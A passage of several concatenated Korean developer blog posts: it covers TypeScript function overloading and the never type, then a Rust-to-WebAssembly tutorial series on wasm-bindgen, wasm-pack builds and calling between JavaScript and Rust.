- 가독성 향상. 오버로드한 함수가 어떤 타입이 올 수 있는지 명확하게 구별할 수 있다. 또한 인수의 타입과 그에 따른 리턴 타입이 명확하게 분리되어 있다.
- IDE가 오버로드 함수를 더욱 잘 지원할 수 있게 된다.

### 좀더 복잡한 예제

방금 전에 만들었던 검색 함수 예제를 떠올려 보자. 이를 함수 오버로딩으로 구현하면 다음과 같이 처리할 수 있다.

```typescript
type Callback = (results: Result[]) => void

function search_overloaded(term: string): Promise<Result[]>
function search_overloaded(term: string, cb: Callback): void
function search_overloaded(
  term: string,
  cb?: Callback,
): void | Promise<Result[]> {
  const res = api(term)

  if (cb) {
    res.then((data) => cb(data))
    return
  }

  return res
}

const p = search_overloaded('key') // ✅ Promise<Result[]>
const v = search_overloaded('key', (data) => {}) // ✅ void
```

### 이것도 안전하지 않기는 마찬가지

타입 단언은 종종 좋지 않은 코드 (code smell)로 간주되며, 이를 함수 오버로드로 제거하는 것은 좋아보일 수도 있다. 그러나 이것 또한 안전하지 않은 건 매한가지다.

```typescript
function switch_overloaded(input: string): number
function switch_overloaded(input: number): string
function switch_overloaded(input: number | string): number | string {
  if (typeof input === 'string') {
    return input // 그냥 string 리턴함
  } else {
    return input // 그냥 숫자 리턴함
  }
}

const num = switch_overloaded('1') // ❌ ????
const str = switch_overloaded(1) // ❌ ????
```

> [typescript playground에서 보기](https://www.typescriptlang.org/play?#code/GYVwdgxgLglg9mABAZwO4yhAFgfTgNwFMAnAGzgEMATQqgChjAAcQoAuFKYxgcwEoOYEAFsARiQBQoSLAQp0mXARLlqtBs1aCR44gM7cwPKeGjwkaDNjxEylGvUYt2iIWJKIAPgd763urx8jRABvCUQIiJhgRDooAE8mQjgYp1ZEAF4sxAByZC5eHL5Q8Miy4kIoEGIkNKhEAHoGxEAP2sBThqCeREAazsAWRcALVdKIgF9EQlJkQhKy8srq2s16ptaOwGohwATxnoGhxFGJYYkJCAR81xFM+SslW1UHOhyARiLG5sAZcjPhPMQEpMQYZA+AVE6QwfwBFGgIAopFI8UQFE6RxO9XyxAulkUNhU9nUD2Ky3eqK+Pym-06iGB9VBZIhVWhsPhgJIQA)

읭? 올바르지 않은 타입을 리턴해버렸음에도 에러가 나지 않는다. 타입스크립트 컴파일러는 함수 본체의 코드 (오버로드 된)의 함수 시그니처와 대조할 뿐이지, 분기 문에서 어떻게 오버로드를 다루는지는 알 수 없다. 결과적으로, 오버로드 함수 시그니처와 모순된 내부 코드를 작성할 수 있는 위험성이 존재한다.

### 사실 함수 오버로드도 함수타입의 intersection 일 뿐...

함수 오버로드는 intersection 함수 타입에 대한 단지 문법적 설탕일 뿐이다.

```typescript
function switchIt(input: string): number
function switchIt(input: number): string
```

이는 사실 아래와 같다.

```typescript
type F = ((input: string) => number) & ((input: number) => string)

const switchIt_intersection: F = (input) => {
  if (typeof input === 'string') {
    return Number(input)
  } else {
    return String(input)
  }
}

const num = switchIt_intersection(1) // ✅
const str = switchIt_intersection('1') // ✅
```

마찬가지로, `F`도 객체 타입(인터페이스) 형태로 작성할 수도 있다.

```typescript
interface F {
  (input: number): string
  (input: string): number
}
```

## 정리

함수 오버로드를 사용하건, 조건부 타입을 활용한 제네릭 타입을 사용하건, 어떤 것을 사용하든지 이 선택에는 적절한 이유가 있어야 하고, 어느 것도 안전하지 않기 때문에 신중해야 한다.

- 함수의 인수가 여러개가 될 수 있는 경우, 함수 오버로드를 사용하는게 적절할 수 있다.
- 조건 타입에 따른 제네릭 타입은 인수가 리턴 타입에 영향을 미칠 때 적절하게 활용 가능하다. 매핑으로 구현하면 가독성이 눈에 띄게 향상되기 때문이다. 이를 함수 오버로드로 작성하면 매우 장황해질 수 있고, 읽는 사람으로 하여금 혼란을 야기할 수 있다.

---

Source: https://yceffort.kr/2022/03/understanding-typescript-never.md
Title: 타입스크립트 타입 never 에 대해 자세히 알아보자
Description: 알쏭달쏭 신기한 타입스크립트와 타입의 세계
Date: 2022-03-12
Tags: typescript

## Table of Contents

## `never`란 무엇인가

`never`가 무엇이고 왜 만들어졌는지 이해하기 위해서는, 먼저 타입시스템에서 `타입`이 무엇을 의미하는지 이해해야 한다.

타입은 가능한 값의 집합을 의미한다. 예를 들어서, `string`이라는 타입은 가능한 모든 문자열의 집합을 의미한다. 그러므로 변수에 `string`이라는 타입을 달아둔다는 것은, 이 변수에는 문자열만 할당할 수 있다는 것을 의미한다.

```typescript
let foo: string = 'bar'
foo = 3 // ❌ 3 은 문자열이 아님
```

타입스크립트에서 `never` 는 없는 값의 집합이다. 타입스크립트 이전에 인기가 있었던 flow에서는, 이와 동일한 역할을 하는 `empty`라고 하는 것이 존재한다.

이 집합에는 값이 없기 때문에, `never` 은 어떠한 값도 가질 수 없으며, 여기에는 `any` 타입에 해당하는 값들도 포함된다. 이러한 특징 때문에, `never` 는 `uninhabitable type` `bottom type` 이라고도 불린다.

> 이와 반대로, `top type`은 `unknown`이라고 정의 되어 있다.

https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes-func.html#other-important-typescript-types

## 왜 `never`가 필요한가?

숫자에서 아무것도 존재하지 않는 것을 표현하기 위해 0이 존재하는 것처럼, 타입 시스템에서도 그 어떤 것도 불가능하다는 것을 나타내는 타입이 필요하다.

여기서 `불가능` 이라는 뜻은 다음과 같은 것을 의미한다.

- 어떤 값도 가질 수 없는 빈 타입
  - 제네릭 및 함수에서 허용되지 않는 파라미터
  - 호환 되지 않는 타입 교차
  - 빈 유니언 타입 (유니언 했지만 아무것도 안되는 경우)
- 실행이 완료되면 caller에게 제어 권한을 반환하지 않는 (혹은 의도된) 함수의 반환 유형 (예: node의 `process.exit()`)
  - `void`와는 다르다. `void`는 함수가 caller에게 아무것도 리턴하지 않는 다는 것을 의미한다.
- rejected된 promise의 fulfill 값

  ```typescript
  const p = Promise.reject('foo') // const p: Promise<never>
  ```

## `never`가 `union`과 `intersection`에서 작동하는 방식

숫자 0 이 덧셈과 곱셈에서 작동하는 것과 비슷하게, `never` 타입도 `union`과 `intersection`에서 특별한 특징을 가지고 있다.

- 0을 덧셈하면 그 값이 그대로 오는 것 처럼, `never`도 union 타입에서는 drop되는 특징을 가지고 있다.

```typescript
type t = never | string // string
```

- 0을 곱셈하면 0이 되어버리는 것처럼, `never`을 intersection type으로 지정하면 `never`가 되어 버린다.

```typescript
type t = never & string // never
```

이러한 두가지 특징은 이후에 알게 될 주요 사례의 기반이 된다.

## `never` 타입은 어떻게 사용할 수 있을까

### 허용할 수 없는 함수 파라미터에 제한을 하는 방법

`never` 타입에는 값을 할당 할 수 없기 때문에, 함수에 올수 있는 다양한 파라미터에 제한을 거는 용도로 사용할 수 있다.

```typescript
// 이 함수는 never만 사용 가능하다.
function fn(input: never) {
  // do something...
}

declare let myNever: never
fn(myNever) // ✅

// never 이외에 다른 값은 타입 에러를 야기한다.
fn() // ❌
fn(1) // ❌
fn('foo') // ❌
declare let myAny: any
fn(myAny)
```

### `switch` `if-else` 문에서 일치 하지 않는 값이 오는 경우

함수가 `never` 타입만 인수로 받는 경우, 함수는 `never`외의 다른 값과 함께 실행 될 수 없다.

이러한 특징을 사용하여, `switch` 문과 `if-else` 문장 내부에서 철저한 일치를 보장할 수 있다.

```typescript
function unknownColor(x: never): never {
  throw new Error('unknown color')
}

type Color = 'red' | 'green' | 'blue'

function getColorName(c: Color): string {
  switch (c) {
    case 'red':
      return 'is red'
    case 'green':
      return 'is green'
    default:
      return unknownColor(c) // 그 외의 string으 불가능하다.
  }
}
```

### 부분적으로 구조적 타이핑을 허용하지 않는 방법

어떤 함수에서, `VariantA`와 `VariantB` 타입의 파라미터만 허용한다고 가정해보자. 하지만 그 이외에 이 두가지 타입의 속성을 모두 갖고 있는 파라미터 (두 타입의 서브타입)는 허용하지 않는 다고 가정해보자.

위와 같은 경우, `VariantA | VariantB` 와 같은 유니언 타입으로 선언할 수도 있다. 그러나 이 경우 타입스크립트는 구조적 타이핑을 기반으로 하고 있기 때문에, 원래 타입보다 더 많은 속성을 가진 객체 타입을 함수에 전달하는 것이 허용된다. (객체 리터럴 제외) 무슨 말인지 아래 예시에서 살펴보자.

```typescript
type VariantA = {
  a: string
}

type VariantB = {
  b: number
}

declare function fn(arg: VariantA | VariantB): void

const input = {a: 'foo', b: 123}
fn(input) // 타입스크립트는 이 경우 아무런 에러를 내지 않는다.
```

이 경우, `never`를 사용한다면, 일부 구조 타이핑을 방지할 수 있으며, 사용자가 두가지 모든 속성을 가진 객체를 가져오는 것을 방지할 수 있다.

```typescript
type VariantA = {
  a: string
  b?: never
}

type VariantB = {
  b: number
  a?: never
}

declare function fn(arg: VariantA | VariantB): void

const input = {a: 'foo', b: 123}
fn(input) // ❌ a는 never라서 안댐
```

### 의도하지 않은 api 사용 방지

```typescript
type Read = {}
type Write = {}
declare const toWrite: Write

declare class MyCache<T, R> {
  put(val: T): boolean
  get(): R
}

const cache = new MyCache<Write, Read>()
cache.put(toWrite) // ✅ generic type이기 때문에 가능
```

위 예제에서, `get` 메소드를 통해 데이터를 읽을 수 있는 읽기전용 캐시를 만들고자 한다. 여기 `put` 메소드에 `never`를 활용하면 이러한 코드를 방지할 수 있다.

```typescript
declare class ReadOnlyCache<R> extends MyCache<never, R> {}

const readonlyCache = new ReadOnlyCache<Read>()
readonlyCache.put(data) // ❌
```

### 이론적으로 이 조건부 분기문에 도달할 수 없음을 나타내는 경우

`infer`를 사용하여 조건 부 타입 내부에 또다른 타입을 변수를 만들 때, 모든 `infer` 키워드에 대해 다른 분기를 추가해야 한다.

```typescript
type A = 'foo'
type B = A extends infer C
  ? C extends 'foo'
    ? true
    : false // inside this expression, C represents A
  : never // 여기는 닿을 수가 없다.
```

### 유니언 유형에서 멤버를 필터링

불가능한 분기점을 나타내는 것 이외에도, 조건형 타입에서 원하지 않는 타입을 필터링하고 싶은 경우에도 사용 가능하다.

방금 살펴보았던 것 처럼, union 타입에서 자동으로 제거되지는 않는다. 이처럼 union 타입에서는 `never`는 무용 지물이다.

만약 특정 기준에 따라 union member를 결정하는 유틸리티 타입을 작성하고 싶다면, `never` 가 유용해질 수 있다.

`ExtractTypeByName` 이라고 하는 유틸리티 타입에서 `name` 속성이 `foo`인 멤버를 추출하고, 일치 하지 않는 멤버를 필터링한다고 가정해보자.

```typescript
type Foo = {
  name: 'foo'
  id: number
}

type Bar = {
  name: 'bar'
  id: number
}

type All = Foo | Bar

type ExtractTypeByName<T, G> = T extends {name: G} ? T : never

type ExtractedType = ExtractTypeByName<All, 'foo'> // the result type is Foo
// type ExtractedType = {
//     name: 'foo';
//     id: number;
// }
```

위 타입이 실행되는 순서는 아래와 같다.

```typescript
type ExtractedType = ExtractTypeByName<All, Name>
type ExtractedType = ExtractTypeByName<Foo | Bar, 'foo'>
type ExtractedType =
  ExtractTypeByName<Foo, 'foo'> | ExtractTypeByName<Bar, 'foo'>
```

```typescript
type ExtractedType = Foo extends {name: 'foo'}
  ? Foo
  : never | Bar extends {name: 'foo'}
    ? Bar
    : never

type ExtractedType = Foo | never
type ExtractedType = Foo
```

### mapped type에서 키를 필터링 하는 용도

타입스크립트에서는, 타입은 immutable 하다. 만약 객체 타입에서 속성을 삭제하고 싶다면, 기존 속성을 변환하고 필터링하여 새롭게 생성해야 한다. 이를 위해 매핑된 타입의 키를 조건부로 다시 매핑하면 해당 키가 필터링된다.

```typescript
type Filter<Obj extends Object, ValueType> = {
  [Key in keyof Obj as ValueType extends Obj[Key] ? Key : never]: Obj[Key]
}

interface Foo {
  name: string
  id: number
}

type Filtered = Filter<Foo, string> // {name: string;}
```

### 제어 흐름에서 타입을 좁히고 싶을 때

함수에서 리턴값을 `never`로 타이핑 했다는 사실은, 함수가 실행을 마칠 때 호출자에게 제어 권한을 반환하지 않는 다는 것을 의미한다. 이를 활용하면, 컨트롤 플로우를 제어하여 타입을 좁힐 수 있다.

> 함수가 never를 리턴하는 경우는 여러가지가 있다. exception, loop에 갇히거나, 혹은 `process.exit`

```typescript
function throwError(): never {
  throw new Error()
}

let foo: string | undefined

if (!foo) {
  throwError()
}

foo // string
```

혹은 `||` `??` 키워드로도 가능하다.

```typescript
let foo: string | undefined

const guaranteedFoo = foo ?? throwError() // string
```

### 호환되지 않는 타입의 intersection이 불가능함을 나타내고 싶을 때

호환이 되지 않는 서로다른 타입에 대해 intersection을 표시한다면 `never`가 된다.

```typescript
type t = number & string // never
```

`never`와 intersecting을 했을 때도 마찬가지다.

```typescript
type t = never & number
```

## `never` 타입을 읽는 법 (에러메시지 에서)

아마도 타입스크립트로 개발을 해본 사람이라면, `Type 'number' is not assignable to type 'never'.` 이라는 메시지를 가끔씩 보았을 것이다. 이는 일반적으로 타입스크립트가 여러가지 타입을 intersect하는 과정에서 발생하는 에러다. 이러한 에러는 타입의 안전성을 유지하기 위해서 타입스크립트 컴파일러가 내보내는 경고다.

아래 예제를 살펴보자.

```typescript
type ReturnTypeByInputType = {
  int: number
  char: string
  bool: boolean
}

function getRandom<T extends 'char' | 'int' | 'bool'>(
  str: T,
): ReturnTypeByInputType[T] {
  if (str === 'int') {
    // 랜덤 숫자 생성
    return Math.floor(Math.random() * 10) // ❌ Type 'number' is not assignable to type 'never'.
  } else if (str === 'char') {
    // 랜덤 char 생성
    return String.fromCharCode(
      97 + Math.floor(Math.random() * 26), // ❌ Type 'string' is not assignable to type 'never'.
    )
  } else {
    // 랜덤 boolean 생성
    return Boolean(Math.round(Math.random())) // ❌ Type 'boolean' is not assignable to type 'never'.
  }
}
```

이 함수는 `number`, `string`, `boolean` 을 넘겨 받은 변수에 따라서 리턴하고 싶었던 것 같다. 그러나 각각의 리턴 문에서 타입스크립트는 에러를 뱉는다. 타입스크립트는 프로그램에서 각각 가능한 상태들에 대해 이러한 타입을 좁히도록 도움을 준다. 즉, 여기에서 `ReturnTypeByInputType[T]`는 런타임시에 number가 될수도, string이 될수도, boolean이 될수도 있다는 것을 의미한다.

여기의 리턴 유형이 가능한 모든 `ReturnTypeByInputType[T]`에 할당할 수 있는지 확인할 수 있는 경우에만 타입 안전성을 확보할 수 있다. 이 3가지 타입의 intersection은 무엇일까? 이 세가지 타입은 모두 서로 호환이 되지 않기 때문에 `never`를 반환하게 된다. 그래서 우리는 `never`메시지를 보게된 것이다. 이를 해결하기 위해서는, 타입 assertion이 필요하다.

- `return Math.floor(Math.random() * 10) as ReturnTypeByInputType[T]`
- `return Math.floor(Math.random() * 10) as never`

또다른 예제를 살펴보자.

```typescript
function f1(obj: {a: number; b: string}, key: 'a' | 'b') {
  obj[key] = 1 // Type 'number' is not assignable to type 'never'.
  obj[key] = 'x' // Type 'string' is not assignable to type 'never'.
}
```

`obj[key]` 는 런타임시에 키에 따라서 string이 될수도 number가 될 수도 있다. 타입스크립트는 따라서 key로 올수 있는 모든 값에 대해 동작할 수 있어야 되므로 제한을 두었다. 따라서 여기에서는 `never`로 결정된다.

## never를 확인하는 방법

사실 `never`인지 확인하는 것은 생각보다 쉽지 않다.

```typescript
type IsNever<T> = T extends never ? true : false

type Res = IsNever<never> // never 🧐
```

`IsNever`로 never인지 확인하기 위해 true, false를 리턴하게 했지만 실상은 저것마저도 `never`가 된다.

https://github.com/microsoft/TypeScript/issues/23182#issuecomment-379094672 의 대답을 요약하자면

- `never`는 빈 uinion이다
- 타입스크립트는 조건 타입내부에 있는 유니온 타입을 자동으로 결정한다
- 여기에서는 빈 uinon이 들어왔으므로, 여기에 조건 타입은 다시 `never`가 된다.

따라서 우리가 생각하는 `IsNever`의 목적을 달성하기 위해서는 아래와 같은 튜플을 이용하는 방식을 취해야 한다.

```typescript
type IsNever<T> = [T] extends [never] ? true : false
type Res1 = IsNever<never> // 'true' ✅
type Res2 = IsNever<number> // 'false' ✅
```

> 사실 타입스크립트 소스코드에 있는 내용이다 https://github.com/microsoft/TypeScript/blob/main/tests/cases/conformance/types/conditional/conditionalTypes1.ts#L212

---

Source: https://yceffort.kr/2022/03/rust-wasm-tutorial-3.md
Title: Rust로 web assembly 만들어보기 (3) - Rust로 다양한 Web Assembly 만들어보기
Description: 조금씩 알듯 말듯 하네
Date: 2022-03-11
Tags: rust, webassembly

## Table of Contents

## Console.log를 기록하는 wasm 만들어보기

`Cargo.toml`

```toml
[package]
name = "consolelog"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib", "rlib"]

[dependencies]
wasm-bindgen = "0.2.74"
web-sys = { version = "0.3.56", features = ['console'] }
```

`lib.rs`

```rust
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
extern {
    // js_namespace는 console을 할당했다.
    // 즉 log만 쓰면 console.log가 된다.
    #[wasm_bindgen(js_namespace = console)]
    fn log(s: &str);

    // 여기는 console.log
    #[wasm_bindgen(js_namespace=console, js_name=log)]
    fn log_u32(a: u32);

    // 여기도 console.log
    #[wasm_bindgen(js_namespace=console, js_name=log)]
    fn log_strings(a: &str, b: &str);
}

macro_rules! console_log {
    // log 함수랑 연결된다.
    ($($t:tt)*) => (log(&format_args!($($t)*).to_string()))
}

// rust extern으로 하는 방법
fn rust() {
    log("Hello yceffort!");
    log_u32(42);
    log_strings("Hello", "yceffort")
}

// macro
fn using_macro() {
    console_log!("Hello {}!", "yceffort");
    console_log!("Hello yceffort");
}

// websys library
fn using_web_sys() {
    use web_sys::console;

    console::log_1(&"Hello using web-sys".into());

    let js: JsValue = 4.into();

    console::log_2(&"Logging values are".into(), &js);
}

#[wasm_bindgen(start)]
pub fn run() {
    rust();
    using_macro();
    using_web_sys();
}
```

![console.log](./images/consolelog.png)

## 번들러 없이 직접 import 해서 사용하기

`Cargo.toml`

```toml
[package]
name = "without-bundler"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]

[dependencies]
wasm-bindgen = "0.2.79"

[dependencies.web-sys]
version = "0.3.4"
features = [
  'Document',
  'Element',
  'HtmlElement',
  'Node',
  'Window',
]
```

`lib.rs`

```rust
use wasm_bindgen::prelude::*;

#[wasm_bindgen(start)]
pub fn main() {
    let window = web_sys::window().expect("there is no window in global");
    let document = window.document().expect("there is no document in window");
    let body = document.body().expect("there is no body in a document");

    let p_element = document.create_element("p").expect("fail to create P element");

    p_element.set_inner_html("Hello from rust");

    body.append_child(&p_element).expect("fail to append element");
}

#[wasm_bindgen]
pub fn add(a: u32, b: u32) -> u32 {
    a + b
}
```

![without-bundler1](./images/without-bundler1.png)

![without-bundler2](./images/without-bundler2.png)

## js 코드를 import 해서 rust에서 실행하기

가령 자바스크립트에 아래와 같은 코드가 있다고 가정해보자.

`defined-in-js.js`

```javascript
export function name() {
  return 'Rust'
}

export class MyClass {
  constructor() {
    this._number = 42
  }

  get number() {
    return this._number
  }

  set number(n) {
    return (this._number = n)
  }

  toString() {
    return `My number is: ${this.number}`
  }
}
```

위 코드를 rust에서 실행하기 위해서는 먼저 해당 js코드를 추상화하는 작업이 필요하다. 위 코드에 대한 추상화는 아래와 같이 작업하면 된다.

```rust
use wasm_bindgen::prelude::*;

#[wasm_bindgen(module = "/defined-in-js.js")]
extern "C" {
    // name 함수 정의
    fn name() -> String;

    // 클래스 정의
    type MyClass;

    // 클래스에 new keyword를 constructor로 정의
    #[wasm_bindgen(constructor)]
    fn new() -> MyClass;

    // getter
    #[wasm_bindgen(method, getter)]
    fn number(this: &MyClass) -> u32;

    // setter
    #[wasm_bindgen(method, setter)]
    fn set_number(this: &MyClass, number: u32) -> MyClass;

    // toString
    #[wasm_bindgen(method)]
    fn toString(this: &MyClass) -> String;
}

// console.log를 정의한다.
#[wasm_bindgen]
extern "C" {
    #[wasm_bindgen(js_namespace = console)]
    fn log(s: &str);
}

#[wasm_bindgen(start)]
pub fn run() {
    log(&format!("Hello from {}!", name())); // should output "Hello from Rust!"

    // 클래스를 선언한다
    let x = MyClass::new();
    // 테스트 코드!
    assert_eq!(x.number(), 42);
    // setter에 숫자 주입
    x.set_number(10);
    // toString
    log(&x.toString());
}
```

`run()` 함수 내부에 있는 것들이 순차적으로 실행될 것이다.

```text
Hello from Rust!
My number is: 10
```

---

Source: https://yceffort.kr/2022/03/rust-wasm-tutorial-2.md
Title: Rust로 web assembly 만들어보기 (2) - Rust로 간단한 Web Assembly 만들기
Description: 오 이거 신기하네
Date: 2022-03-10
Tags: rust, webassembly

## Table of Contents

## 개발 환경

1. [Install Rust](https://www.rust-lang.org/install.html)로 먼저 Rust를 설치한다.
2. 그리고 wasm을 만들기 위해, [wasm-pack](https://github.com/rustwasm/wasm-pack)을 설치한다.

```shell
cargo install wasm-pack
```

## 패키지 만들기

```shell
cargo new --lib hello-wasm
```

이제 아래와 같은 파일이 생성되었을 것이다.

```rust
#[cfg(test)]
mod tests {
    #[test]
    fn it_works() {
        let result = 2 + 2;
        assert_eq!(result, 4);
    }
}
```

일반적으로 단위테스트는 src 디렉토리의 각 파일에 테스트 할 코드와 함께 작성한다. 여기서 사용되는 규칙은 각 파일에 `mod tests`라는 모듈을 `#[cfg(test)]`와 함께 선언하고, 그안에 테스트할 코드를 작성하면 된다. `#[cfg(test)]` 로 선언된 모듈은 `cargo test`를 할 때만 실행되고, build시에는 컴파일 되지 않는다. 따라서 빌드 시 시간과 공간을 절약할 수 있다.

> cfg는 configuration 이라는 뜻이다.

`[#test]`는 이 함수가 테스트 함수임을 가리키는 역할을 한다.

## Rust 작성하기

먼저 `Cargo.toml`에 `wasm_bindgen`을 의존성 목록에 추가해주자.

```toml
[package]
name = "hello-wasm"
version = "0.1.0"
authors = ["yceffort <yceffort@gmail.com>"]
description = "A sample project with wasm-pack"
license = "MIT/Apache-2.0"
repository = "https://github.com/yceffort/rust-playground/tree/main/wasm/tutorial/hello-wasm"

[lib]
crate-type = ["cdylib"]

[dependencies]
wasm-bindgen = "0.2"
```

```rust
// import * from wasm_bindgen/prelude와 같다.
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
extern {
    pub fn alert(s: &str);
}

#[wasm_bindgen]
pub fn greet(name: &str) {
    alert(&format!("Hello, {}!", name));
}
```

[wasm-bindgen](https://github.com/rustwasm/wasm-bindgen)은 자바스크립트와 러스트 사이에 일종의 다리 역할을 한다고 보면 된다. 자바스크립트에서 rust api를 호출하거나, 반대로 rust가 js에서 발생한 예외처리를 하는 등의 처리를 할 수 있도록 해준다.

`#[XXX]`는 일종의 wrapper를 생성하는 속성 값인데, 이것이 무슨일을 하는지는 이후에 알아보자.

`extern` 키워드는, 이 것이 rust 외부에 정의된 함수라는 것을 알린다. 외부에 `alert`라는 함수가 있으며, 이는 문자열 타입의 `s` 를 받는 다는 것을 의미한다. 눈치 챘을 수도 있지만, 이는 `window.alert`를 의미한다.

즉, 자바스크립트에 무언가 함수를 호출 하고 싶다면 `extern` 키워드와 함께 추가하면 된다.

```rust
#[wasm_bindgen]
pub fn greet(name: &str) {
    alert(&format!("Hello, {}!", name));
}
```

이번에는 `extern` 키워드 대신 다른 것이 나왔다. 이번에는 `fn` 구문을 wrapping 하고 있다. 이는 rust 함수를 자바스크립트에 의해 호출될 수 있도록 처리한다는 것을 의미한다. 즉 `extern`과는 반대가 되는 기능이다.

함수를 보면 알겠지만, `greet()`는 문자열 타입 `name`을 받고 `hello {name}`이라는 문자열을 만들고 이를 alert에 넘겨주고 있다.

이제 이 코드를 빌드해보자

## 빌드하기

```shell
wasm-pack build --scope yceffort
```

마지막 scope는 npm 계정의 아이디를 넣어주면된다.

이 빌드는 다음과 같은 과정을 수행한다.

1. Rust 코드를 WebAssembly로 컴파일
2. WebAssembly위에서 `wasm-bindgen`을 실행하여, WebAssembly가 npm이 이해할 수 있는 모듈로 감싸는 자바스크립트 파일을 생성
3. `pkg` 폴더를 만들고, 자바스크립트 파일과 WebAssembly 코드를 그 안으로 옮긴다.
4. `Cargo.toml`과 동등한 `package.json`을 생성
5. `README.md`가 있다면 패키지로 복사

빌드가 완료되었다면, `pkg` 폴더가 생성되어 있는 것을 볼 수 있다.

`hello_wasm.js`

```javascript
import * as wasm from './hello_wasm_bg.wasm'
export * from './hello_wasm_bg.js'
```

`package.json`

```json
{
  "name": "@yceffort/hello-wasm",
  "collaborators": ["yceffort <yceffort@gmail.com>"],
  "description": "A sample project with wasm-pack",
  "version": "0.1.0",
  "license": "MIT/Apache-2.0",
  "repository": {
    "type": "git",
    "url": "https://github.com/yceffort/rust-playground.git"
  },
  "files": [
    "hello_wasm_bg.wasm",
    "hello_wasm.js",
    "hello_wasm_bg.js",
    "hello_wasm.d.ts"
  ],
  "module": "hello_wasm.js",
  "types": "hello_wasm.d.ts",
  "sideEffects": false
}
```

## 빌드한 패키지 사용해보기

이 npm package를 사용할 수 있도록 한번 설정해보자.

```json
{
  "name": "hello-wasm-npm",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "serve": "webpack-dev-server"
  },
  "dependencies": {
    "@yceffort/hello-wasm": "../hello-wasm/pkg"
  },
  "devDependencies": {
    "webpack": "^4.25.1",
    "webpack-cli": "^3.1.2",
    "webpack-dev-server": "^3.1.10"
  },
  "author": "",
  "license": "ISC"
}
```

```javascript
const path = require('path')
module.exports = {
  entry: './index.js',
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: 'index.js',
  },
  mode: 'development',
}
```

```html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>hello-wasm example</title>
  </head>
  <body>
    <script src="./index.js"></script>
  </body>
</html>
```

```javascript
const js = import('./node_modules/@yceffort/hello-wasm/hello_wasm.js')
js.then((js) => {
  js.greet("yceffort's first WebAssembly")
})
```

![first-wasm](./images/first-wasm.png)

## `wasm-bindgen`의 대략적인 원리

`wasm-bindgen`의 가장 중요한 개념은, wasm module이 ES Module의 한 가지 종류로 인식하고 연동한다는 것이다. `pkg`에 있는 `d.ts`를 보면 (타입스크립트 시그니쳐까지..!) 다음과 같이 선언되어 있다.

```typescript
/* tslint:disable */
/* eslint-disable */
/**
 * @param {string} name
 */
export function greet(name: string): void
```

WebAssembly는 이러한 처리가 불가능하므로, 이 것을 수행해주는 것이 `wasm-bindgen`이다. 이 중 자바스크립트 파일은 러스트를 호출할때 사용되는 인터페이스 역할을 하고, `*_bg.wasm` 파일이 실제로 방금 컴파일한 것과 구현체를 가지고 있다.

`hello_wasm_bg.js` 파일은 다음과 같이 구현되어 있다.

```javascript
import * as wasm from './hello_wasm_bg.wasm'

// ...

function getStringFromWasm0(ptr, len) {
  return cachedTextDecoder.decode(getUint8Memory0().subarray(ptr, ptr + len))
}

/**
 * @param {string} name
 */
export function greet(name) {
  var ptr0 = passStringToWasm0(
    name,
    wasm.__wbindgen_malloc,
    wasm.__wbindgen_realloc,
  )
  var len0 = WASM_VECTOR_LEN
  wasm.greet(ptr0, len0)
}

export function __wbg_alert_a5a2f68cc09adc6e(arg0, arg1) {
  alert(getStringFromWasm0(arg0, arg1))
}
```

`wasm.greet(ptr0, len0);`를 보면, 이 함수는 문자열이 아닌 포인터와 length를 인수로 받고 있는 것을 알 수 있다.

조금 더 깊이 들어가서, WebAssembly의 `greet`함수가 러스트 컴파일러에 의해 컴파일되는 시점을 보면 이런식으로 코드가 작성되어 있다.

```rust
pub fn greet(name: &str) {
    alert(&format!("Hello, {}!", name));
}

#[export_name = "greet"]
pub extern fn __wasm_bindgen_generated_greet(arg0_ptr: *mut u8, arg0_len: usize) {
    let arg0 = unsafe { ::std::slice::from_raw_parts(arg0_ptr as *const u8, arg0_len) }
    let arg0 = unsafe { ::std::str::from_utf8_unchecked(arg0) };
    greet(arg0);
}
```

원래 작성한 코드와 함께, 이상한 이름의 함수와 `#[export_name = "greet"]`가 붙어 있다. 이는 JS가 던진 pointer와 length를 받는 부분이다. 이 두개 인자를 받아서, `greet` 함수에 전달한다.

정리하자면, `#[wasm_bindgen]`는 두개의 wrapper를 생성한다.

- JS 타입을 받아서 wasm으로 변환 (자바스크립트)
- wasm 타입을 rust 타입으로 변환 (러스트)

즉, 앞서 언급했던 것 처럼, `wasm-bindgen`는 자바스크립트 - WASM - 러스트 사이에 다리 역할을 하고 있으며, 이를 위해 많은 일들이 뒷단에서 일어나고 있음을 알 수 있다.

---

Source: https://yceffort.kr/2022/03/rust-wasm-tutorial-1.md
Title: Rust로 web assembly 만들어보기 (1) - Web Assembly란 무엇인가?
Description: 인생은 실전이다
Date: 2022-03-07
Tags: rust, webassembly

## Table of Contents

## Web Assembly란 무엇인가?

웹 어셈블리는 최신 웹 브라우저에서 자바스크립트 코드 외에 실행할 수 있는 새로운 유형의 코드를 의미한다. 웹에서 실행될 수 있는 코드는 자바스크립트 밖에 없지만, 웹 어셈블리를 활용하면 자바스크립트 외의 다른 언어, 특히 처리가 빠른 저수준 컴파일언어 (c, c++, rust 등) 를 사용할 수 있게 도와준다. 이를 활용하면 자바스크립트와 서로 상호 보완하여 동작이 가능해지고, 나아가 자바스크립트 수준에서 처리하기 어려운 일들도 처리할 수 있게 된다.

웹은 모바일, PC 등 다양한 플랫폼에서 동작하지만, 기본적으로 다른 언어에 비해 성능이 느린 자바스크립트 밖에 사용할 수 없다는 한계를 가지고 있었다. 그러나 웹 어셈블리를 사용하면 이전까지는 웹에서 돌릴 수 없던 다양한 클라이언트 앱을 네이티브에 가까운 성능과 속도로 실행할 수 있게 된다.

### Web Assembly가 달성하고자 하는 목표

> [https://www.w3.org/community/webassembly/](https://www.w3.org/community/webassembly/)

- 빠르고, 효과적이고, 이식성이 좋을 것
- 읽기 쉽고 디버깅이 가능한 구조일 것
- 안전할 것
- 웹 환경을 망가뜨리지 않을 것

### Web Assembly의 동작 구조

웹 플랫폼은 크게 두 가지로 나눠서 생각할 수 있다.

- 자바스크립트와 같은, 앱을 구성하는 코드를 실행하는 가상머신
- 웹브라우저나 하드웨어 기능을 호출해서 애플리케이션이 무언가를 할 수 있도록 만드는 Web API (DOM, CSSOM, WebGL....)

